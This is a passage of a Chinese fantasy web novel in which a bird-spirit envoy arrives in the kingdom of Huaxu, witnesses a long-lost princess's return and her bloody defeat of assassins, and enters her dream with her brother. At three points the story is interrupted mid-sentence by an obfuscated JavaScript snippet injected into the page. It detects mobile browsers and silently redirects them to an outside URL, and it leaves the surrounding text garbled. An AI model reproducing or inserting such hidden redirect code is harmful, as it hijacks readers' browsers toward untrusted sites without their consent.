青鸾觉得自己是不怕什么鬼魅的,顶着呜咽的风声,颇为正气凛然地继续往山上走。 她向来信奉一个道理,那就是不做亏心事不怕鬼敲门,英小小如此心虚,是因为她做了亏心事,对空桑山上这些战死的亡灵有愧,所以才不敢继续上前。 事实证明,做一个有信念感的人是多么重要,只要自己觉得心中无愧,自然也就不觉得那些鬼魅传言有何恐怖的了。 当然了,事实也证明,一个人心中的信念是多么容易被现实击碎。 当耳边隐隐约约的呜咽之声变为凄厉哀嚎时,她心中原本坚定不移的信念稍微碎了一碎。 当将至山顶,原本掀得人步履蹒跚的狂风骤然停止,身上衣衫与额间碎发却无风自动时,青鸾心中的信念又碎了一碎。 当于漫天大雪中,恍恍惚惚瞧见一抹虚幻的人影自山顶飘过时,她心中的信念已经碎得差不多了。 原来一个人尽管没有做过亏心事,在遇见传说中的鬼魅之流时,也是会心虚的。 她咽了口唾沫,当机立断转身下山,调转了方向往华胥而去。 8. 青丝雪 昔年华胥与青丘于空桑大战,战后空桑大雪弥漫,青丘是最早受到波及的国家,听闻短短几十年的光景,从空桑吹来的风裹挟着雪,将青丘整个给埋了,青丘国主不得不带着臣民举国搬迁至大荒。 因此青丘人对当年设计挑起空桑大战的英小小极为怨怼,几百年来追杀她的人里,有一大半竟是她的族人。 相比之下,世代修仙的华胥国状况便好很多。 华胥国主的宗祠中供奉着凝魄珠,可护后世子孙太平,华胥国又倾举国之力,汇集修为高深之人,在华胥国周边布下结界,因而这个国家虽然也承受着风雪之患,看起来却并没有那么严重,整个国家都散发着一股祥和之气,子民安居乐业,宛如世外桃源。 青鸾呈上帝骁为她准备的通行令牌,一路由人领着,畅通无阻地来到宫殿之前,宫人要将她的令牌呈给宫中的慕容止,让她在门口稍等片刻,却没想到这一等,竟让她等来了一场活生生的认亲大戏。 想来那些话本子的作者为了吸引看客,总是会将故事情节渲染得波澜壮阔,而实际情况往往并非如此,至少她亲眼瞧见的这一场话本里才有的大戏,看起来是那样的平静。 那位自称流落民间的公主,安静地立在宫殿大门口,白色裙裳,乌黑的头发,点漆的眸子,嫣红嘴唇,像是盛开在冰天雪地里的一株梅。 老实说,这女子虽然穿着打扮素净非常,但周身不凡的气度明晃晃彰显着她的身份,她若说自己与王族没有任何关系,那青鸾才是真的不信。 然则并非人人都有青鸾那样的好眼力,至少那几个看守王城大门的侍卫是没有的。 他们将那白衣女子上上下下打量一番,随后调笑道:“姑娘哪里来的便往哪里去吧,我们华胥国从来都只有一位少主,什么时候凭空多出一个公主来了?” “那便叫你们国主出来,看看他认不认得这个凭空多出来的公主。”被如此无礼地打量戏谑了一番,那女子却仍沉得住气,她的声音同她的神情一样,自始至终都是淡淡的。 语毕,她歪了歪脑袋,略微思索了一下,又补充道:“或者叫慕容景出来。” 听到她直呼慕容景大名,几个侍卫看起来恼怒异常,围上来便欲动武驱逐,“到底哪里来的泼皮无赖,慕容少主的名讳岂是你能直呼的?” 由此不难看出,慕容景这位传说中的天才少年在华胥国的确深得人心。 青鸾站在一旁饶有兴致地瞧着,很想提醒那几个侍卫,这女子看起来就很有贵族气质,想必真跟皇室有所牵连,又很想提醒那女子,想必她是在外流落得太久了,竟连空桑之战后慕容景下落不明一事都不知晓。 奈何场面一度十分混乱,她努力了几番发现根本插不进嘴,只能在一旁干看。 那几个因为愤怒而吵吵嚷嚷的侍卫里面,突然有一个灵光一闪,仿佛福至心灵,猛地看出来那女子气度不凡,说不定当真有个什么不同寻常的身份,转了话锋道:“我们几个皆来得晚,或许皇宫里真有什么我们不知道的秘辛也未可知。” 说着他戒备地问那女子:“既然你说你是流落在外的公主,那么总该有所凭证吧?你将东西呈上来,我替你送进去,话可说在前头,倘若惊动了宫里的人,最终你又确然是个假冒的,那可就不是乱棍将你赶出去那么简单了。” 忽然吹来一阵风,拂动那女子的发梢衣衫,她沉默着立在原地,片刻后,似乎叹了口气。 那声叹息太浅太淡,风一吹便散了,再抬首时,她又恢复了最初的漠然。 一枚白玉被她从怀里取出,那玉太有灵气,看起来竟似个活物,乖顺地躺在女子掌心里,在阳光下流转着莹莹的光。 几个侍卫面面相觑,最后还是福至心灵的那位上前接过,将玉呈进了宫里去。 不到一炷香的时间,突然宫门大开,两队侍卫整整齐齐列队参跪,一众宫娥涌出,亦整齐地列好队,绕过来立在了那白衣女子身后。 人群中走出一个锦衣少年,玉冠将他的黑发高高束起,本来略显苍白的脸颊,倒也被衬得显出不少英气。 他在离那女子几步远的地方站住,定定地注视着她,手里握着那块被侍卫呈进去的玉。 他望着她,目光里的情绪太复杂,青鸾有些读不懂,只觉得欣喜又茫然,哀伤又缱绻。 此刻宫门口乌泱泱立了一堆人,却无一人敢出声,在众人缄默的阴影里,他唤那女子阿姊。 眼前的状况,令青鸾很迷茫。 经历过空桑之战后下落不明的慕容景,就这样猝不及防出现在了她的眼前。 她在前往华胥的路上设想了一堆关于他的可能性,再根据那些可能性因地制宜设计了一堆不同的方案,然而现下他就这样好端端地站在她面前,虽然算不上生龙活虎,却也不像是性命攸关。 这意味着她绞尽脑汁想出来的方案尽数报废,全然无用武之地了。 她略感惆怅,当然除了惆怅之外,更多的还是如猫爪挠心一般令人心中发痒的好奇。 慕容景看起来根本无碍,要么是从前那场空桑之战并未让他受伤,要么便是他的伤早已痊愈,可无论如何,他都不该就此销声匿迹。此乃一疑。 另外,从未听说慕容景还有这么个流落在外的姐姐,况且既然是慕容景的姐姐,是华胥国的公主,她又怎会小小年纪便流亡在外?此乃第二疑。 然则今天因着这场认亲大戏,青鸾虽为仙使,却也成了毫无存在感的小透明,纵有一肚子的疑问,暂时也没办法径直去找慕容景解惑。 多年在外流亡的公主慕容雪突然归来,整个华胥宫中都在为迎接她做准备,华胥国主慕容止卧病在床许久,操持这一切的任务自然落到了慕容景的头上。 慕容景看起来对这位胞姐极为重视,从安排住处宫人这等小事,到准备接风宴席这样的大事,事无巨细皆由他亲自操持,再加上国事操劳,他年纪轻轻便如帝骁一般忙得从早到晚不见人影。 青鸾自然也不好前去打扰,只得在自己的住处静静地等着,等待慕容景最忙碌的这一段时间过去再做打算。 却说短短三日后,慕容景就紧锣密鼓地在宫中举办了一场大宴,为的就是迎接胞姐归来,这一场大宴遍请京中显贵、阖族长老,前来赴宴的人将整个大殿坐得满满当当。 更为夸张的是,彼时宫中百花枯萎,光秃秃的不甚好看,因慕容雪自幼爱梅,慕容景便施法催动了满园梅花。 那日宴上 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712360|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 宾朋满座,席间梅香浮动,大片大片的梅花盛开在宫墙内,白的雪红的梅,在风中摇曳缠绵,不期然撞进人眼里,显得纯洁又妖艳。 如此胜景,此般盛况,慕容景给足了慕容雪体面。 然而宴会主角慕容雪始终是淡淡的,她整个人好像一碗烧开了之后又放凉的水,就那样淡然地不冷不热着,分明是为她设的宴席,却好像宴上的一切都与她无关。 青鸾从未见过这样脾性的人,忍不住在席上悄悄地对她看了又看。 她的神色是淡然的,偶尔同人交谈几句的语气也是淡然的,便连举杯饮酒的动作里也透出一股子淡然。 青鸾感慨,天宫里的神仙们也不见得有她这般清心寡欲,若是那些神仙都如慕容雪这般心无杂念淡然修炼,何愁封不了神,只怕此刻九重天上已经挤满了神君神女,帝骁上去给天帝复命都无落脚之地。 就在她以为慕容雪是骨子里的无欲无求,刻在灵魂里的断情绝爱,确乎生不出丝毫情绪时,她突然在她脸上看到了一丝掩也掩不住的惊惶。 变故发生在慕容景与人举杯相庆胞姐归来的时候,彼时他喝得微醺,毫无防备,十三柄寒光凛凛的长剑并数不清的暗器骤然朝他面门刺来。 谁也没有料到消失多年的十三杀竟然还没有解散,这是妖族顶级刺客团体,踪迹不定,形如鬼魅,没想到今日竟蛰伏于迎接慕容雪的宴席上,掐算好时间突然暴起,甫一出手便是杀招。 他们要刺杀的对象是慕容景。 一切发生在电光火石之间,包括青鸾在内的所有宾客还没有反应过来发生了什么,慕容景便哐当一声将酒盏弃掷于地,拂袖施法格挡,单手拈决化剑。 他的反应已属极快,然而十三杀有备而来,不给慕容景喘息之机,十三人瞬间结成法阵,将他团团包围在内。 这是十三杀赫赫有名的诛仙阵法,他们正是因为此阵法声名鹊起,不知取下多少修仙之人的首级,一跃成为妖族顶级刺客。 传闻这个组织背后的神秘首领在大荒修炼时,无意间发现了一处上古遗迹,机缘巧合之下,竟让他习得了远古诛仙阵法。 按说上古之神的遗迹并不是那么容易被发现的,即使发现了,其间残留的远古符文想必也晦涩难解,除非那些久远得已成为传说的上古神祇亲临,否则无人能真正还原那些威力深不可测的阵法。 然而那首领竟将残留的篇章解读一二,自己悟出了这套十三杀阵法,其威力当然无法与真正的诛仙阵同日而语,但放在如今也完全够用了。 一旦彻底陷入此阵,即便是正儿八经飞升成仙的仙人,也难以囫囵个从这阵法中出来,除非其修为碾压十三杀,远在那十三人合力之上。 然则慕容景尚未飞升,如今还只是肉体凡胎。 便在此刻,忽见殿外梅花异动,每一片花瓣都像是突然有了生命,攒动着脱落枝头,凝聚成花雨冲进殿内。 与此同时一道白色身影闪过,翩然立在法阵之上,未闻兵器碰撞之声,但见花瓣飞舞,无孔不入地钻进了阵法当中。 花瓣被狠戾的刀兵之气劈砍成零落的泥,那些逝去的花魂却也阻止了阵法的形成,十三杀阵法没有完全形成,便被慕容雪破了。 9. 青丝雪 她漂浮在半空中,居高临下地俯视着欲刺杀慕容景的十三个人,看他们如同在看十三颗白菜,神情是那般平淡甚至漠然,仿佛方才她不可遏制地露出的惊惶之色只是青鸾的错觉。 下一秒,她旋身冲进刺客堆中,像一朵从枝头落下的花,旋转着坠在水面上,漾起一圈圈涟漪,只不过此时此刻,那一圈圈涟漪并非温柔的水波,而是刺客们手中所握杀器的冰凉剑意。 雪白的手腕比剑更白,拈住剑身轻轻一旋,锋利的刀剑瞬间破碎成点点星芒,然后那柔软的手顺势攀上人的脖颈,于是那脖颈也以一种触目惊心的方式破碎了,血溅在慕容雪的衣裙上,雪白的衣衫上添了妖异的红。 慕容雪在杀人,青鸾看得瑟瑟发抖,觉得可怖。 可怖的并不是她在杀人,而是她杀人的手法如同在杀白菜,干脆利落,仿佛那些在她手下丧命的人,原本就没有生命。 慕容雪以一种世所罕见的狠戾姿态杀光了他们,不留一个活口,从始至终她的神情都是淡漠的,即便是在杀人的时候,也丝毫不起波澜。 看呆了的人不止青鸾一个,未几,呕吐声此起彼伏,有些心理承受能力稍差的,已经哭号着连滚带爬逃离现场。 刺客杀出来的时候没见他们如此恐慌,现下慕容雪杀光刺客之后,他们却仿佛陡然感受到了莫大的恐惧,此刻刺客都死光了,场上最令人恐怖的便是浑身浴血的慕容雪。 人们不理解,一个人怎么能在如此残忍地杀掉那么多人后,还能保持这样的淡然,就好像她已经杀过太多太多的人,杀人这件事于她而言,也许当真与砍白菜没有什么差别。 可是堂堂华胥国的公主,翩翩君子慕容景的胞姐,怎么会是这样冷血无情的人? 于是人们惧怕她,惧怕得顺理成章,从那以后人们唾弃她,也唾弃得名正言顺。 慕容景从法阵残留的杀招中挣脱出来时,为迎接慕容雪而精心准备的宴席已经变成了尸横遍地的修罗场,他扫了一眼以各种诡异的姿势扭曲着躺在地上的尸体,然后将目光挪到慕容雪的身上。 像是没有反应过来那个亭亭立于血泊之中的女子是谁,他呆了半晌,随后喃喃地唤她:“阿姊……” “实在没用。”慕容雪呵地低笑一声:“华胥国的少主,未来的华胥国主,竟是个遇刺了还要等着别人来救的废物。” 慕容景的目光有些茫然,像是没有反应过来慕容雪在说什么,又像是还在细细辨认,眼前这个陌生的人到底是不是他的姐姐。 蓦地,他猛然站起来又唤了一声阿姊,这声呼唤全无方才的茫然,呼唤声中尽是惊惶,是一种类似于即将失去挚爱的绝望,这样的情绪,青鸾现下确信,她曾在慕容雪的脸上见到过。 在慕容景近乎凄厉的呼唤声里,慕容雪如一株倾颓的花树骤然倒下,原来雪白衣衫上鲜艳的血迹并非全是刺客的,她的血与敌人的血掺杂在一起,在她的裙摆上淌开,像盛开在雪地里带着血腥味的梅。 慕容景接住她,此刻才感觉怀里的人轻飘飘的,她是那样瘦小,那样脆弱,好像没有重量,好像下一秒就会随风散去。 短暂的惊慌无措后,他横抱起慕容雪往殿内走去,有新鲜滚烫的血从慕容雪受伤之处渗出来,顺着她雪白的手腕滑下,滴落在地上的声音清晰可闻,所有人都屏住呼吸,注视着慕容景脚下的斑斑血迹。 慕容雪的接风宴便在这样一场血腥的刺杀里宣告结束。 听说她伤得很重,慕容景将她抱回宫里后,着整个皇城里医术最为高明的医官为她疗伤,然而她还是陷入了深深的昏迷,小小的一个人,安静地躺在偌大的宫殿里,好像永远不会醒来。 在慕容雪昏迷的第十日,青鸾终于坐不住了,既然始终无人前来寻她,那她就主动前去寻人。 自她来到华胥的那一刻起,精彩纷呈的大戏就一出接着一出上演,先是流落在外的公主归来认亲,后又是慕容景在接风宴上遇刺,她觉得最近一段时日,华胥贵族们恐怕有些流年不利,她对此深表同情,至于大家忙得顾不上搭理她,她也深感理解。 可是再耽搁下去,整个四海八荒都要被空桑的雪给埋了。 她不能再等了,必须有所行动。 在青鸾的计划里,她打算先去拜见华胥国主慕容止,将来意说清,再向他询问清楚空桑之战的始末细节,然后去见慕容景,问问他对空桑之雪有何看法,同他商量一番解决的可能性,最后,说不准她还能瞧瞧慕容雪的伤势,替她疗伤也未可知。 她的计划是如此的,可是计划赶不上变化,刚刚一只脚踏出客居的宫室,下一秒便有人急匆匆前来寻她,称慕容景有事相邀,请她前去相见。 也罢,总之都是要去见慕容景的,那便先去见他,她从善如流地跟随着侍者,在大大小小的宫径中七拐八绕,最后却是拐去了慕容雪的寝殿。 这是接风宴后,青鸾第一次见到慕容雪,她的面色比从前还要苍白许多,从前她虽面色苍白但到底还有活人之气,如今简直是形容枯槁,没有一点血色,青鸾还从来没有这样清晰地见到过,生命正以肉眼可见的速度从一个人的身上流逝。 慕容雪好像是在沉睡中被梦魇住了,紧蹙着眉头,微微张着嘴,她在反复地说着什么,可是气息太过微弱,刚一发出声音,便破碎成痛苦的叹息。 慕容景就立在床头,他应当是许久未曾合眼了,整个人像极了一棵即将枯萎的植物,看起来颓唐又可怜。 “听闻仙使乃昆仑青鸟一族,青鸟天生便有探寻记忆、潜入梦境的能力。”慕容景转头望向青鸾,他方才一直颓然地低着头,此刻抬首,方让人瞧见他一双熬得血红的眼,“我想请仙使帮忙,读一读阿姊的记忆,我想知道,她流落在外的这些年,到底发生了什么,才会让她变得这样……” 剩下的话慕容景没有说出口,但青鸾能够猜到。 他很疑惑,自己的姐姐怎会变得这样暴戾冷酷,变得不像一个人而像一柄剑,冰冷,残忍,无情,宛若被精心训练出来的杀人机器。 “倘若可以,还想请仙使带我进入姐姐的梦境,如若她当真在沉睡中被噩梦缠身,我想要带她出来。”慕容景似乎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712361|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 怕自己要求得太多,提出这个请求时显得有些小心翼翼。 但老实说,他提的这两个请求都不难满足,于青鸾而言甚至称得上是专业对口。 她其实也不大清楚,自己怎么会跟昆仑山西王母一脉的青鸟攀上些宗族关系,化形之前的记忆她全然不记得了,只记得自化形之日起,她便随帝骁一起居于青要山中,怕是这辈子也没机会踏足昆仑山的。 且昆仑山青鸟一族,那是实实在在的仙兽,他们自出生起便能化形,从化形之日便有仙籍,族中出色者还能成为替西王母下凡探看的信使,她如何能与他们相比?真要计较起来,她更像是昆仑青鸟一族的穷亲戚。 不过无论如何,她的确是有些青鸟一族的本领,尤擅揣测人心,很长一段时间里也以潜入帝骁的梦境为乐。 只可惜帝骁是个太过克制太过谨慎的人,她怀疑他即便是在做梦的时候,其实也是清醒着的,因此他的梦境实在平平无奇,没意思得很,翻来覆去不过几个他在白日里所见的场景。 其实她偶尔能感知到,在他梦中轻描淡写的几个场景背后,隐藏着一些难以名状的情绪,那些情绪蛰伏在帝骁极深极深的意识里,她探知不到,却能感应到它们时而蠢蠢欲动,时而极安静,散发出莫名的危险气息。 探寻慕容雪的记忆,总归要比探寻帝骁的轻松许多。 她此刻身负重伤陷入昏迷,意志当比寻常时候薄弱,平日里再坚牢的心防此时也极容易被突破,且青鸾感应到她的精神游丝,像是在同一个梦境中,被反反复复困了许久。 沉睡了这么久都无法醒来,原来是因为她将自己反复困在了一段回忆里,这一段回忆,想必就是她流落在外时最不堪的记忆,也正是这一段回忆,成为了令她陷入昏迷,挣脱不得无法醒转的梦魇。 人的意识其实是最为捉摸不透,也最暗藏危机之地。 平日里想说不敢说的,想做不敢做的,想反抗却不能的,想伤害又不忍的,诸般无法宣之于口的,皆藏在了这深深的意识里,潜意识里堆积起来的情绪是最见不得光,也最不能正眼去看的,晒在阳光底下,正正地瞧着,便满眼都是委屈。 青鸾要带慕容景去探寻的,正是慕容雪最真实也最隐秘的记忆,经年累月的委屈在潜意识里发了酵,纠缠成一团乱麻,恐怕已经分辨不清爱恨几许了。 “青鸟一族能够解读意识、潜入梦境,是因为我们的神思能与他人相通。”青鸾遣散殿中旁人,与慕容景在床畔面对面盘腿坐下,“待会我先找到你的精神游丝,与你神思相通,随后再携你一起潜入慕容雪的梦境。需知人的神思是最坚韧也是最脆弱的,所以我遣散了旁的人,就是怕在施法时被人打扰,如若在入神时被人打扰,重则命丧黄泉,轻则深思紊乱,变成个痴子也是极有可能的。” 青鸾的本意是想强调一下此事的重要性,令慕容景等下不论在梦境中看到了什么,都不要轻举妄动,务必乖乖跟着自己。 却没想到他似乎被这番话吓得不轻,猛地睁开眼睛,一张脸变得煞白,“那么……阿姊不会有事吧?” 10. 青丝雪 原来是在担心慕容雪。 青鸾感慨,慕容景这弟弟当得委实挑不出错,着实将他阿姊放在心尖上,于是宽慰道:“这个你不用担心,我们窥探梦境,对于被窥探梦境的人而言,却没什么影响。”顿了顿,她严谨地补充一句:“唔,只要不故意去吓唬人家就好。” 慕容景松了口气。 “我担心的人是你,毕竟是你的神思闯入人家的地盘,若她是个精神力强大的人,能将你的精神游丝吞了也未可知,到时你真有可能变成傻子,这事可不是闹着玩的。”一切准备就绪,马上就要入梦了,青鸾正色道: “等下不论看到什么,你的神思都切不可乱跑,一定要紧紧跟着我,对了,倘若梦境坍塌,我们也必须立马退出来,否则你这一缕神思就永远被困在塌陷的梦境里了,现实中的你也会变成个傻子。” 她是真的很害怕慕容景变成个傻子。 此番窥探梦境,倘若因着她照顾不周,而将这传说中千载难遇的奇才变成了傻子,那时她该如何向慕容止交代,如何向华胥国交代,若再因此坏了处理空桑雪患的任务,封不了神不说,反而闯下大祸,她又该如何向天帝交代,如何向帝骁交代,如何向四海八荒交代。 瞬间觉得自己身上担子好重,她有些怅然。 好在自从知道窥梦并不会给慕容雪带来影响后,慕容景反倒变得镇静了,现下轮到他宽慰青鸾:“仙使放心,在梦境中我一切都听你的,绝不轻举妄动。” 青鸾呆了一呆。 这传说中的奇才,在听话地向她保证自己不会轻举妄动时,那模样好乖。 神思开始交织游曳,两人共同入梦,慕容雪梦境中的慕容景,同现实中的他一样乖。 没想到困住慕容雪的这一段回忆,是在她那样小的时候就开始了。 青鸾与慕容景的神思化为人形,立在一旁,关切地注视着梦境里发生的一切。 他们看见小小的慕容雪,踮着脚尖从大人怀中接过襁褓里的婴儿,看见她睁着漆黑的眼睛,好奇地打量怀中小孩儿,然后极慢极慢地俯下身子,用鼻尖蹭了蹭他的额头,最后她笑了,小时候的慕容雪原来那样爱笑,那样温暖的笑容,好像能融化十二月的冰雪。 她轻轻摇晃着身子,模仿着母后的姿态,哄怀里的弟弟睡觉,很小声地,一声一声唤他阿景。 再看她梦境中的小阿景,尚在襁褓中的时候,似乎便晓得哄姐姐开心了,他伸出胖乎乎的小手,握住慕容雪的青丝,胳膊轻轻地晃,乖巧地注视着她,眯着眼睛咯咯地笑。 这模样连旁观的青鸾都忍不住心肝一颤,何况将婴儿时期的慕容景抱在怀里的慕容雪呢。 她怔了怔,然后像是下了什么决心,小小的人目光变得坚定,她更加用力地抱住慕容景,将他紧紧贴在怀里,“小景好乖,别怕别怕,以后的日子,阿姊都会保护你的。” 不像是小孩子的戏语,她说的每一个字都很郑重:“阿姊会永远保护你。” 身旁的慕容景好像颤了一颤,青鸾转首望他,担心他神思震动,迷失在慕容雪的梦境当中。 好在他的精神力足够强大,看见这一幕心情虽有波动,却也不至于迷失其中。 虚幻梦境里光阴飞速流转,慕容雪与慕容景一同长大的画面,一帧帧在青鸾二人眼前闪过。 接下来的五六载时光,平静而欢愉,慕容景简直是亦步亦趋跟在慕容雪身后长大,生在帝王家的姐弟,情谊却比寻常人家还要亲厚。 一派祥乐的画面终结于慕容景六岁那年。 那年盛夏,他们的母后慕容夫人携二人前往京郊祈福,归来时恰逢倾盆大雨,天黑得比平时早了许多。 马车在泥泞的雨地中急速前行,空气里弥漫着夏季雷雨独有的闷热,隐隐散发出危险的气息,弥漫在那令人窒息的闷热里。 慕容夫人显然嗅到了隐于雨夜当中的杀机,她紧紧地将两个孩子搂在怀里,额间渗出细密的汗珠。 已快至京城,只要回京,他们就安全了。 变故就发生在他们已经能远远瞧见城门的时候,马车外传来厮杀之声,马儿一个趔趄,开始慌乱地在原地打转。 窗外刀劈斧砍之声与人的呐喊之声交织成一片,豆大的雨点砸在马车顶上,每一声都像是催命符,听得人两股战战。 隐隐可见窗外闪烁起蓝色微光,那是随行的修仙术士在结印保护马车内的国母与皇子公主。 慕容夫人似早有预感,痛苦地闭上了眼。 果然,那些来刺杀他们的人并非寻常杀手,而是妖族,否则不会到需要术士结印保护的地步。 窗外蓝色的微光方凝聚起来,便被什么东西击碎,术士们拼死结印,却只能看着结界被妖族刺客一次次击得粉碎。 虽知这些都是慕容雪的回忆,是过去的事,但青鸾仍旧看得胆战心惊,不自觉将手攥紧。 看来为了取他们性命,妖族此番派出的都是精锐,此劫他们怕是难以逃过。 却说妖族与华胥之间,之所以有如此深仇大恨,不惜一次又一次地下血本刺杀华胥皇族,这一切还与华胥的修仙方式有关。 寻常人修仙,或服食丹药以求长生方术,或采用辟谷清除肠中秽气,亦或者呼吸吐纳养生内修,当然还有行善去欲积攒功德的路子,然则华胥国的修仙方式,可谓是另辟蹊径,十分与众不同。 这还得从华胥国立国之时说起。 华胥早前并非一个国家,更像是一个部族,最早的国主也并非慕容氏,而是一个奇女子名为华胥氏。 从她开始,便扎下了华胥世世代代修习仙术的根基,因年代太过久远,许多事情已不可考,只知道某一日,华胥族人仿佛堪破了什么法门,竟集体白日飞升,留下这偌大一个部落,后来被最早一任华胥国主捡了漏,组织周边以捕猎为生的猎户们聚集而居,竟然就此建了国。 这最早一任华胥国主便是慕容氏,最关键的一点在于,这位慕容氏曾是个捉妖道士。 华胥国立国之后,修仙风气一如曾经的华胥部族,甚至因着有前人集体飞升之鉴,这一股修仙之风可谓更甚,又因着国主曾是捉妖道士,华胥国就此定下了一条独特的修仙基调,那就是以捉妖作为修仙之道。 妖丹可外敷内服,妖气可提炼净化,甚至妖骨也可以打磨成趁手的法器,将妖精们修炼了几百年甚至上千年的道行据为己用,这般另类的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13712362|144614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 修仙方法,竟比寻常方术还要来得方便快捷。 但要知凡事过犹不及,即便是那林子里的益虫,数量多得超过自然所需,那也会泛滥成灾,因已破坏了生态平衡。 华胥国与妖族之间的仇怨,便是如此。 最早的国主慕容氏倒也不是个好杀滥杀之人,算得上是一个勤勤恳恳降妖伏魔的好道士,他将捉妖修仙术在全国推广开来的时候,也定下了一个基本理念,那就是只捉坏妖,不杀好妖。 但他毕竟不曾当过国主,也不了解人心,更没有预测到,当一整个国家的人都以捉妖为生的时候,周遭哪里还有那么多坏妖可以给他们捉。 只捉坏妖不杀好妖的基本理念,等到真正落实下来,便成了逢妖必捉应诛尽诛,华胥国人,真真正正成为了全天下的妖见愁。 由此可见,华胥与妖族之间的仇怨,并非一日两日积攒起来的,那简直称得上是血海深仇,完全是个不死不休的形容。 也正因如此,一代又一代的华胥人以捉妖作为修仙之道,一代又一代的妖族便将刺杀华胥皇族视为终身使命。 听慕容景讲起这一段国史,青鸾干干地笑了两声,然后咽口唾沫,不自觉往旁边挪了挪,下意识离慕容景远了点。 诚然他们妖精在化形之前,不过是天地间的飞鸟走兽,心智神思是低级了点,待到修炼得有了些术法本事,比起其他种族来,便更容易动歪念头,也更容易走弯路。 这当然有他们自己的原因,仿佛骨子里是有些劣根性,否则也不会只闻捉妖师,不曾听说过捉人捉仙的。 但世间事,大抵不能一概而论,亦有不少妖精心怀善念,亦或只是茫茫然待人点化,一棒子将他们尽数打死,只因他们生下来便是妖,却未免有些冤枉。 看得出来慕容景是个成熟的孩子,是个与众不同的华胥皇族,见事十分全面,能够跳脱出两族之间的积年仇怨,他虽然前不久才在宴席上被妖族刺杀过,但评价起这段历史来,倒也不失公允。 “妖族刺杀我们,或为自卫,或为报仇,有多少妖在华胥人手下丧命,又有多少华胥人死于妖族的报复之下,冤冤相报,没有尽头,看起来是何等纠缠,然真要计较起来,这一桩积怨其实是由华胥而始。” 青鸾觉得慕容景说得很有道理,点点头,又往回挪了挪,靠他近了点。 “诚然华胥开国之主称得上是降妖伏魔,然则到如今,华胥举国上下以捉妖作为修仙的法门,不知滥杀了多少无辜,这一笔帐,终究是要华胥来了结的。”说到这里慕容景叹了口气: “可是捉妖修仙乃华胥经营了几千年的国本,岂能轻易动摇,这其中盘根错节,若想放下捉妖的法器,不知将触动多少人的利益,也不知华胥国人是否能够接受,更不知妖族是否还愿冰释前嫌。” 没想到慕容景小小年纪,便思虑得这样多,将事情想得这样长远,青鸾很是感佩,继而宽慰道: “既然华胥与妖族的仇怨,并非一朝一夕积攒起来的,那么想要化解此怨,自然也不是一朝一夕之功,好在你还有时间,也有足够的本领,可以慢慢扭转这样的局面,只要你有改变现状的想法,无论如何总有办法,也总会来得及的。” 11. 青丝雪 青鸾的这一番宽慰想必是宽慰到了慕容景心里去,他的神思不似方才那般紊乱凝重,紧皱的眉头也舒缓开来,他再次将目光投向慕容雪梦境中的场景。 却见那些术士几番结印失败后,向马车内的慕容夫人提议,弃掉马车,将护卫和术士们分成几拨,分别护送皇子公主回城,剩下的人马则以不同的方向逃亡,借以混淆视听,如此既可以分散掉妖族人手,不至于大家聚在一起全军覆没,也为其余人保留了一线生机,只要有人能够逃出包围,便能请来援军。 这确然是唯一的办法了,慕容夫人似有犹豫,但也不过眨眼的工夫,很快便做了决定。 她异常镇静地,在极短的时间内安排好一切,将人马分成几拨,然后把慕容景交给她最为放心的术士,让他们骑马潜行,而她则与慕容雪留在马车上,命人向另一个方向驶去。 看到这里,青鸾心里咯噔一下,她已经猜到慕容夫人做的什么打算了,想必一旁的慕容景也已猜得八九不离十。 雨下得愈发的大,小阿景被人抱出马车时,眼里尽是茫然。 他死死地攥住娘亲的衣袖,在极大的恐惧之下根本顾不得其他,他只知道自己不想与母亲和阿姊分开。 慕容夫人硬下心肠将慕容景往外推,取下慕容景贴身佩戴的彰显皇子身份的玉牌,然后将头别过去,直到慕容景被抱出马车,都没有再回头多看他一眼。 马车内的慕容雪并未哭闹,她安静地注视着母亲安排的一切,看着母亲将弟弟的玉牌取下,看着弟弟被人拢在披风里抱上马,看着她们的马车朝与弟弟截然相反的方向而去。 她眼睁睁看着母亲做下一个决定,而她也是这个决定里的一环,她在努力地反应眼前发生了什么,这一切又意味着什么,因而整个人显得比母亲还要镇静,她的目光直直的,眼睛却是湿漉漉的。 马车内,打点好一切的慕容夫人终于弯下了从始至终挺得笔直的腰,她俯身揽住慕容雪,再抬首时已是满脸泪痕。 方才与慕容景分别时她没有哭,此刻面对女儿,却像是悲伤得不能自抑,悲痛得神魂欲绝。 慕容雪不知在想些什么,一汪眼泪包在眼眶里,始终一副泫然欲泣的模样,却始终没有让一滴眼泪落下来。 一道惊雷划过天边,似是想提前终结这漫长的夜,将无边的夜色轰得透亮,便是这一瞬间的透亮,让慕容雪透过车窗看到那些刺客的身影,密密麻麻如蝗似蚁,看起来比初时还要多。 